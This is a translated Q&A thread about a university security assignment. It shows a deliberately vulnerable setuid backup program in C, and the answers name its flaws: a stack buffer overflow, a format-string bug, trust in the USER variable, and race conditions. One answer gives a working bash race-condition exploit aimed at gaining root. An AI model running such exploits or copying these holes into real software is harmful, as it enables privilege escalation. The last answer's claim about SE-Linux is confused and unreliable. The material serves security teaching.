Используйте программу резервного копирования, используя C - PullRequest
4 голосов
/ 19 января 2011

Я выполняю задание по курсу безопасности, в котором мне предлагается найти 4 уязвимости программы резервного копирования (setuid) и использовать каждую из них для получения root-прав (на виртуальной машине Linux со старой версией gcc и т. Д.),Должно быть одно из переполнения буфера и одно из строки формата.

Может ли кто-нибудь помочь мне указать, где находятся 4 уязвимости?Я думаю, что переполнение буфера может произойти в copyFile().

Ниже приведен код для backup.c: (который может быть вызван в «backup backup foo» или «backup restore foo»)

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>

#define CMD_BACKUP 0
#define CMD_RESTORE 1

#define BACKUP_DIRECTORY "/usr/share/backup"
#define FORBIDDEN_DIRECTORY "/etc"

static
int copyFile(char* src, char* dst)
{
  char buffer[3072]; /* 3K ought to be enough for anyone*/
  unsigned int i, len;
  FILE *source, *dest;
  int c;

  source = fopen(src, "r");
  if (source == NULL) {
    fprintf(stderr, "Failed to open source file\n");
    return -1;
  }

  i = 0;
  c = fgetc(source);
  while (c != EOF) {
    buffer[i]  = (unsigned char) c;
    c = fgetc(source);
    i++;
  }

  len = i;
  fclose(source);

  dest = fopen(dst, "w");
  if (dest == NULL) {
    fprintf(stderr, "Failed to open destination file\n");
    return -1;
  }

  for(i = 0; i < len; i++) 
    fputc(buffer[i], dest);

  fclose(dest);

  return 0;
}

static
int restorePermissions(char* target)
{
  pid_t pid;
  int status;
  char *user, *userid, *ptr;
  FILE *file;
  char buffer[64];
  mode_t mode;

  // execute "chown" to assign file ownership to user
  pid = fork();

  // error
  if (pid < 0) {
    fprintf(stderr, "Fork failed\n");
    return -1;
  }

  // parent
  if (pid > 0) {
    waitpid(pid, &status, 0);
    if (WIFEXITED(status) == 0 || WEXITSTATUS(status) < 0)
      return -1;
  }
  else {

    // child
    // retrieve username
    user = getenv("USER");
    // retrieve corresponding userid   
    file = fopen("/etc/passwd", "r");
    if (file == NULL) {
      fprintf(stderr, "Failed to open password file\n");
      return -1;
    }
    userid = NULL;
    while (!feof(file)) {
      if (fgets(buffer, sizeof(buffer), file) != NULL) {
    ptr = strtok(buffer, ":");
    if (strcmp(ptr, user) == 0) {
      strtok(NULL, ":"); // password
      userid = strtok(NULL, ":"); // userid
      ptr = strtok(NULL, ":"); // group
      *ptr = '\0';
      break;
    }
      }
    }

    if (userid != NULL) 
      execlp("/bin/chown", "/bin/chown", userid, target, NULL);

    // reached only in case of error
    return -1;
  }  

  mode = S_IRUSR | S_IWUSR | S_IEXEC;
  chmod(target, mode);

  return 0;
}

static
void usage(char* parameter) 
{
  char newline = '\n';
  char output[96];
  char buffer[96];

  snprintf(buffer, sizeof(buffer),
        "Usage: %.60s backup|restore pathname%c", parameter, newline);

  sprintf(output, buffer);
  printf(output);
}

int main(int argc, char* argv[]) 
{
  int cmd;
  char *path, *ptr;
  char *forbidden = FORBIDDEN_DIRECTORY;
  char *src, *dst, *buffer;
  struct stat buf;

  if (argc != 3) {
    usage(argv[0]);
    return 1;
  }

  if (strcmp("backup", argv[1]) == 0) {
    cmd = CMD_BACKUP;
  }
  else if (strcmp("restore", argv[1]) == 0) {
    cmd = CMD_RESTORE;
  } else {
    usage(argv[0]);
    return 1;
  }

  path = argv[2];

  // prevent access to forbidden directory
  ptr = realpath(path, NULL);
  if (ptr != NULL && strstr(ptr, forbidden) == ptr) {
    fprintf(stderr, "Not allowed to access target/source %s\n", path);
    return 1;
  }

  // set up paths for copy operation
  buffer = malloc(strlen(BACKUP_DIRECTORY) + 1 + strlen(path) + 1);
  if (buffer == NULL) {
    fprintf(stderr, "Failed to allocate memory\n");
    return 1;
  }

  if (cmd == CMD_BACKUP) {
    src = path;

    dst = buffer;
    strcpy(dst, BACKUP_DIRECTORY);
    strcat(dst, "/");
    strcat(dst, path);
  }
  else {
    src = buffer;
    strcpy(src, BACKUP_DIRECTORY);
    strcat(src, "/");
    strcat(src, path);

    dst = path;

    // don't overwrite existing file if we don't own it
    if (stat(dst, &buf) == 0 && buf.st_uid != getuid()) {
      fprintf(stderr, "Not your file: %s\n", dst);
      return 1;
    }
  }

  // perform actual backup/restore operation
  if (copyFile(src, dst) < 0)
    return 1;

  // grant user access to restored file
  if (cmd == CMD_RESTORE) {
    if (restorePermissions(path) < 0)
      return 1;
  }

  return 0;
}

И кое-что полезное:

  // one way to invoke backup
  //system("/usr/local/bin/backup backup foo");

  // another way
  args[0] = TARGET; args[1] = "backup"; 
  args[2] = "foo"; args[3] = NULL;

  env[0] = NULL;
  if (execve(TARGET, args, env) < 0)
    fprintf(stderr, "execve failed.\n");
  exit(0);

Ответы [ 5 ]

5 голосов
/ 19 января 2011

Я не эксперт по безопасности, но комментарий здесь

char buffer[3072]; /* 3K ought to be enough for anyone*/

говорит :-) Итак, как вы уже догадались, здесь есть возможность переполнения буфера. Буфер фактически используется для чтения содержимого входного файла. Попробуйте его с файлом длиннее 3K.

Теперь, поскольку buffer локально, оно размещается в стеке. Таким образом, переполнением вы можете перезаписать содержимое стека, включая адрес возврата и локальные переменные в кадре стека вызывающего. Это теория, насколько я знаю, я не могу дать вам больше практических подробностей.

3 голосов
/ 19 января 2011
  1. Уязвимость формата usage() - при sprintf() и printf(), принимающих строки формата, сгенерированные из argv[0], которые злоумышленник может манипулировать, чтобы содержать все, что он хочет.

  2. Основным переполнением буфера является тот, который выделен Péter Török ;при сканировании кода на наличие уязвимостей безопасности любое непроверенное заполнение буфера такими явными комментариями является указателем на проблему.

  3. Используется переменная среды USER - ею могут управлять недобросовестные,но это спорно, будет ли это на самом деле купить вам что-нибудь.Вы можете задать для него значение «root», и попытка команды «chown» будет использовать имя, которое ей было сказано использовать.

  4. Между командой chown существует своего рода гонкаи системный вызов chmod().Не совсем понятно, как вы будете использовать это отдельно от других проблем - но это может дать вам что-то полезное.

Включение <sys/types.h> дважды является излишним, но в остальном безвредным.С POSIX 2008 это вообще не нужно в большинстве мест.

0 голосов
/ 06 апреля 2016

Также подумайте, достаточно ли сравнения строк, чтобы заблокировать запрещенный каталог. Ответ: Нет, по крайней мере, я могу придумать два способа.

0 голосов
/ 20 января 2011

Вдохновленный уязвимостью 4 в ответе Джонатана Леффлера, здесь есть эксплойт для TOCTOU (состояние гонки в интервале от времени проверки до времени обновления файла) между проверкой realpath() и fopen()

trap 'rm -f my_passwd; kill -TERM 0' INT

function p1()
{
    while [[ 1 ]]
    do
            nice -20 ./backup restore my_passwd
            ls -l /etc/passwd /etc/my_passwd my_passwd
    done
}

function p2()
{
    while [[ 1 ]]
    do
            rm -f my_passwd; ln /etc/my_passwd my_passwd; sleep .1; rm -f my_passwd
    done
}

export USER=root
p1 & p2

В любом случае, установка UMASK на 000 должна позволить аналогичную эксплуатацию для проблемы chmod().

0 голосов
/ 19 января 2011

Вы не можете больше использовать переполнение буфера в Linux, поскольку SE-Linux предотвращает выполнение вредоносного или случайного непреднамеренного кода путем прерывания рассматриваемой программы и случайного выбора адресов Wand.

Сначала необходимо отключить эти программы, но для этого требуется доступ с правами root.

...